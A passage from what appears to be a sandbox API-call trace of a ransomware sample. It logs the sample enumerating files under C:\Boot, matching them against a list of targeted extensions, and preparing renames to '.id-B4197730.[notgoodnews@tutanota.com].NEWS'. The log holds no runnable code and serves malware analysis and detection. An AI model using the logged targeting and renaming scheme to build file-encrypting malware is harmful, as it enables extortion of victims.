(lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0191.446] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0191.446] lstrlenW (lpString=".doc") returned 4 [0191.446] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1 [0191.446] lstrlenW (lpString=".docx") returned 5 [0191.446] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1 [0191.446] lstrlenW (lpString=".pdf") returned 4 [0191.446] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1 [0191.447] lstrlenW (lpString=".xls") returned 4 [0191.447] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1 [0191.447] lstrlenW (lpString=".xlsx") returned 5 [0191.447] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1 [0191.447] lstrlenW (lpString=".ppt") returned 4 [0191.447] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1 [0191.447] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0191.447] lstrlenW (lpString=".zip") returned 4 [0191.447] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1 [0191.447] lstrlenW (lpString=".rar") returned 4 [0191.447] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1 [0191.447] lstrlenW (lpString=".bz2") returned 4 [0191.447] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1 [0191.447] lstrlenW (lpString=".7z") returned 3 [0191.447] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1 [0191.447] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0191.447] lstrlenW (lpString=".dbf") returned 4 [0191.447] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1 [0191.447] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0191.447] lstrlenW (lpString=".1cd") returned 4 [0191.447] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1 [0191.447] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0191.447] lstrlenW (lpString=".jpg") returned 4 [0191.447] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1 [0191.448] Sleep (dwMilliseconds=0x64) [0191.896] Sleep (dwMilliseconds=0x64) [0192.134] lstrlenW (lpString="BCD") returned 3 [0192.134] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0192.134] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0192.134] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0192.134] lstrlenW (lpString=".doc") returned 4 [0192.134] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0192.134] lstrlenW (lpString=".docx") returned 5 [0192.134] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0192.134] lstrlenW (lpString=".pdf") returned 4 [0192.134] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0192.134] lstrlenW (lpString=".xls") returned 4 [0192.134] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0192.134] lstrlenW (lpString=".xlsx") returned 5 [0192.134] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0192.134] lstrlenW (lpString=".ppt") returned 4 [0192.134] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0192.134] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0192.134] lstrlenW (lpString=".zip") returned 4 [0192.134] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0192.134] lstrlenW (lpString=".rar") returned 4 [0192.134] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0192.135] lstrlenW (lpString=".bz2") returned 4 [0192.135] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0192.135] lstrlenW (lpString=".7z") returned 3 [0192.135] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0192.135] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0192.135] lstrlenW (lpString=".dbf") returned 4 [0192.135] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0192.135] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0192.135] lstrlenW (lpString=".1cd") returned 4 [0192.135] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0192.135] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0192.135] lstrlenW (lpString=".jpg") returned 4 [0192.135] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0192.135] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0192.135] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0192.135] lstrlenW (lpString=".doc") returned 4 [0192.135] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0192.135] lstrlenW (lpString=".docx") returned 5 [0192.135] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0192.135] lstrlenW (lpString=".pdf") returned 4 [0192.135] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0192.135] lstrlenW (lpString=".xls") returned 4 [0192.135] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0192.135] lstrlenW (lpString=".xlsx") returned 5 [0192.135] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0192.135] lstrlenW (lpString=".ppt") returned 4 [0192.135] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0192.136] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0192.136] lstrlenW (lpString=".zip") returned 4 [0192.136] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0192.136] lstrlenW (lpString=".rar") returned 4 [0192.136] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0192.136] lstrlenW (lpString=".bz2") returned 4 [0192.136] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0192.136] lstrlenW (lpString=".7z") returned 3 [0192.136] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0192.136] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0192.136] lstrlenW (lpString=".dbf") returned 4 [0192.136] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0192.136] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0192.136] lstrlenW (lpString=".1cd") returned 4 [0192.136] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0192.136] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0192.136] lstrlenW (lpString=".jpg") returned 4 [0192.136] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0192.136] lstrcmpiW (lpString1=".LOG1", lpString2=".NEWS") returned -1 [0192.136] lstrlenW (lpString="BCD.LOG1") returned 8 [0192.136] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0192.137] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=0) returned 1 [0192.137] CloseHandle (hObject=0x2b4) returned 1 [0192.137] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0192.137] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0192.137] lstrlenW (lpString=".doc") returned 4 [0192.137] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0192.137] lstrlenW (lpString=".docx") returned 5 [0192.137] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0192.137] lstrlenW (lpString=".pdf") returned 4 [0192.137] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0192.138] lstrlenW (lpString=".xls") returned 4 [0192.138] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0192.138] lstrlenW (lpString=".xlsx") returned 5 [0192.138] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0192.138] lstrlenW (lpString=".ppt") returned 4 [0192.138] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0192.138] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0192.138] lstrlenW (lpString=".zip") returned 4 [0192.138] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0192.138] lstrlenW (lpString=".rar") returned 4 [0192.138] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0192.138] lstrlenW (lpString=".bz2") returned 4 [0192.138] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0192.138] lstrlenW (lpString=".7z") returned 3 [0192.138] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0192.138] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0192.138] lstrlenW (lpString=".dbf") returned 4 [0192.138] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0192.138] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0192.138] lstrlenW (lpString=".1cd") returned 4 [0192.138] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0192.138] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0192.138] lstrlenW (lpString=".jpg") returned 4 [0192.138] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0192.138] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0192.138] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0192.138] lstrlenW (lpString=".doc") returned 4 [0192.139] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0192.139] lstrlenW (lpString=".docx") returned 5 [0192.139] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0192.139] lstrlenW (lpString=".pdf") returned 4 [0192.139] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0192.139] lstrlenW (lpString=".xls") returned 4 [0192.139] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0192.139] lstrlenW (lpString=".xlsx") returned 5 [0192.139] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0192.139] lstrlenW (lpString=".ppt") returned 4 [0192.139] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0192.139] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0192.139] lstrlenW (lpString=".zip") returned 4 [0192.139] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0192.139] lstrlenW (lpString=".rar") returned 4 [0192.139] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0192.139] lstrlenW (lpString=".bz2") returned 4 [0192.139] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0192.139] lstrlenW (lpString=".7z") returned 3 [0192.139] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0192.139] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0192.139] lstrlenW (lpString=".dbf") returned 4 [0192.139] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0192.139] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0192.139] lstrlenW (lpString=".1cd") returned 4 [0192.139] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0192.139] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0192.140] lstrlenW (lpString=".jpg") returned 4 [0192.140] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0192.140] lstrcmpiW (lpString1=".LOG2", lpString2=".NEWS") returned -1 [0192.140] lstrlenW (lpString="BCD.LOG2") returned 8 [0192.140] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0192.140] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=0) returned 1 [0192.140] CloseHandle (hObject=0x2b4) returned 1 [0192.140] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0192.140] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0192.140] lstrlenW (lpString=".doc") returned 4 [0192.141] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0192.141] lstrlenW (lpString=".docx") returned 5 [0192.141] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0192.141] lstrlenW (lpString=".pdf") returned 4 [0192.141] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0192.141] lstrlenW (lpString=".xls") returned 4 [0192.141] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0192.141] lstrlenW (lpString=".xlsx") returned 5 [0192.141] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0192.141] lstrlenW (lpString=".ppt") returned 4 [0192.141] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0192.141] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0192.141] lstrlenW (lpString=".zip") returned 4 [0192.141] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0192.141] lstrlenW (lpString=".rar") returned 4 [0192.141] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0192.141] lstrlenW (lpString=".bz2") returned 4 [0192.141] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0192.141] lstrlenW (lpString=".7z") returned 3 [0192.141] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0192.141] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0192.141] lstrlenW (lpString=".dbf") returned 4 [0192.141] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0192.141] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0192.141] lstrlenW (lpString=".1cd") returned 4 [0192.141] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0192.141] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0192.141] lstrlenW (lpString=".jpg") returned 4 [0192.142] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0192.142] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0192.142] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0192.142] lstrlenW (lpString=".doc") returned 4 [0192.142] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0192.142] lstrlenW (lpString=".docx") returned 5 [0192.142] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0192.142] lstrlenW (lpString=".pdf") returned 4 [0192.142] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0192.142] lstrlenW (lpString=".xls") returned 4 [0192.142] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0192.142] lstrlenW (lpString=".xlsx") returned 5 [0192.142] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0192.142] lstrlenW (lpString=".ppt") returned 4 [0192.142] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0192.142] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0192.142] lstrlenW (lpString=".zip") returned 4 [0192.142] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0192.142] lstrlenW (lpString=".rar") returned 4 [0192.142] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0192.142] lstrlenW (lpString=".bz2") returned 4 [0192.142] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0192.142] lstrlenW (lpString=".7z") returned 3 [0192.142] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0192.142] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0192.142] lstrlenW (lpString=".dbf") returned 4 [0192.142] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0192.142] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0192.143] lstrlenW (lpString=".1cd") returned 4 [0192.143] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0192.143] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0192.143] lstrlenW (lpString=".jpg") returned 4 [0192.143] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0192.143] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0192.143] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0192.143] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0192.144] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=77664) returned 1 [0192.144] CloseHandle (hObject=0x2b4) returned 1 [0192.144] GetFileAttributesW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui")) returned 0x20 [0192.144] GetFileAttributesW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0192.144] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0192.144] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0192.144] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0192.144] lstrlenW (lpString=".doc") returned 4 [0192.144] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0192.144] lstrlenW (lpString=".docx") returned 5 [0192.145] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0192.145] lstrlenW (lpString=".pdf") returned 4 [0192.145] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0192.145] lstrlenW (lpString=".xls") returned 4 [0192.145] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0192.145] lstrlenW (lpString=".xlsx") returned 5 [0192.145] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0192.145] lstrlenW (lpString=".ppt") returned 4 [0192.145] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0192.145] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0192.145] lstrlenW (lpString=".zip") returned 4 [0192.145] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0192.145] lstrlenW (lpString=".rar") returned 4 [0192.145] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0192.145] lstrlenW (lpString=".bz2") returned 4 [0192.145] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0192.145] lstrlenW (lpString=".7z") returned 3 [0192.145] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0192.145] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0192.145] lstrlenW (lpString=".dbf") returned 4 [0192.145] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0192.145] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0192.145] lstrlenW (lpString=".1cd") returned 4 [0192.145] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0192.145] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0192.145] lstrlenW (lpString=".jpg") returned 4 [0192.145] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0192.146] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0192.146] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0192.146] lstrlenW (lpString=".doc") returned 4 [0192.146] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0192.146] lstrlenW (lpString=".docx") returned 5 [0192.146] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0192.146] lstrlenW (lpString=".pdf") returned 4 [0192.146] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0192.146] lstrlenW (lpString=".xls") returned 4 [0192.146] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0192.146] lstrlenW (lpString=".xlsx") returned 5 [0192.146] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0192.146] lstrlenW (lpString=".ppt") returned 4 [0192.146] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0192.146] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0192.146] lstrlenW (lpString=".zip") returned 4 [0192.146] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0192.146] lstrlenW (lpString=".rar") returned 4 [0192.146] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0192.146] lstrlenW (lpString=".bz2") returned 4 [0192.146] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0192.146] lstrlenW (lpString=".7z") returned 3 [0192.146] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0192.146] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0192.146] lstrlenW (lpString=".dbf") returned 4 [0192.146] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0192.146] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0192.146] lstrlenW (lpString=".1cd") returned 4 [0192.146] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0192.147] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0192.147] lstrlenW (lpString=".jpg") returned 4 [0192.147] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0192.147] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0192.147] lstrlenW (lpString="bootspaces.dll") returned 14 [0192.147] CreateFileW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0192.147] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=95648) returned 1 [0192.147] CloseHandle (hObject=0x2b4) returned 1 [0192.147] GetFileAttributesW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll")) returned 0x20 [0192.148] GetFileAttributesW (lpFileName="C:\\Boot\\bootspaces.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\bootspaces.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0192.148] CreateFileW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0192.148] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0192.148] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0192.148] lstrlenW (lpString=".doc") returned 4 [0192.148] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0192.148] lstrlenW (lpString=".docx") returned 5 [0192.148] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0192.148] lstrlenW (lpString=".pdf") returned 4 [0192.148] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0192.148] lstrlenW (lpString=".xls") returned 4 [0192.148] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0192.148] lstrlenW (lpString=".xlsx") returned 5 [0192.148] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0192.148] lstrlenW (lpString=".ppt") returned 4 [0192.148] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0192.148] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0192.148] lstrlenW (lpString=".zip") returned 4 [0192.148] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0192.148] lstrlenW (lpString=".rar") returned 4 [0192.148] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0192.148] lstrlenW (lpString=".bz2") returned 4 [0192.148] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0192.148] lstrlenW (lpString=".7z") returned 3 [0192.149] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0192.149] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0192.149] lstrlenW (lpString=".dbf") returned 4 [0192.149] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0192.149] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0192.149] lstrlenW (lpString=".1cd") returned 4 [0192.149] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0192.149] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0192.149] lstrlenW (lpString=".jpg") returned 4 [0192.149] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0192.149] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0192.149] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0192.149] lstrlenW (lpString=".doc") returned 4 [0192.149] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0192.149] lstrlenW (lpString=".docx") returned 5 [0192.149] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0192.149] lstrlenW (lpString=".pdf") returned 4 [0192.149] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0192.149] lstrlenW (lpString=".xls") returned 4 [0192.149] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0192.149] lstrlenW (lpString=".xlsx") returned 5 [0192.149] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0192.149] lstrlenW (lpString=".ppt") returned 4 [0192.149] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0192.149] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0192.149] lstrlenW (lpString=".zip") returned 4 [0192.149] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0192.149] lstrlenW (lpString=".rar") returned 4 [0192.150] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0192.150] lstrlenW (lpString=".bz2") returned 4 [0192.150] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0192.150] lstrlenW (lpString=".7z") returned 3 [0192.150] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0192.150] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0192.150] lstrlenW (lpString=".dbf") returned 4 [0192.150] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0192.150] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0192.150] lstrlenW (lpString=".1cd") returned 4 [0192.150] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0192.150] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0192.150] lstrlenW (lpString=".jpg") returned 4 [0192.150] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0192.150] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0192.150] lstrlenW (lpString="bootvhd.dll") returned 11 [0192.150] CreateFileW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0192.151] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=99744) returned 1 [0192.151] CloseHandle (hObject=0x2b4) returned 1 [0192.151] GetFileAttributesW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll")) returned 0x20 [0192.151] GetFileAttributesW (lpFileName="C:\\Boot\\bootvhd.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\bootvhd.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0192.151] 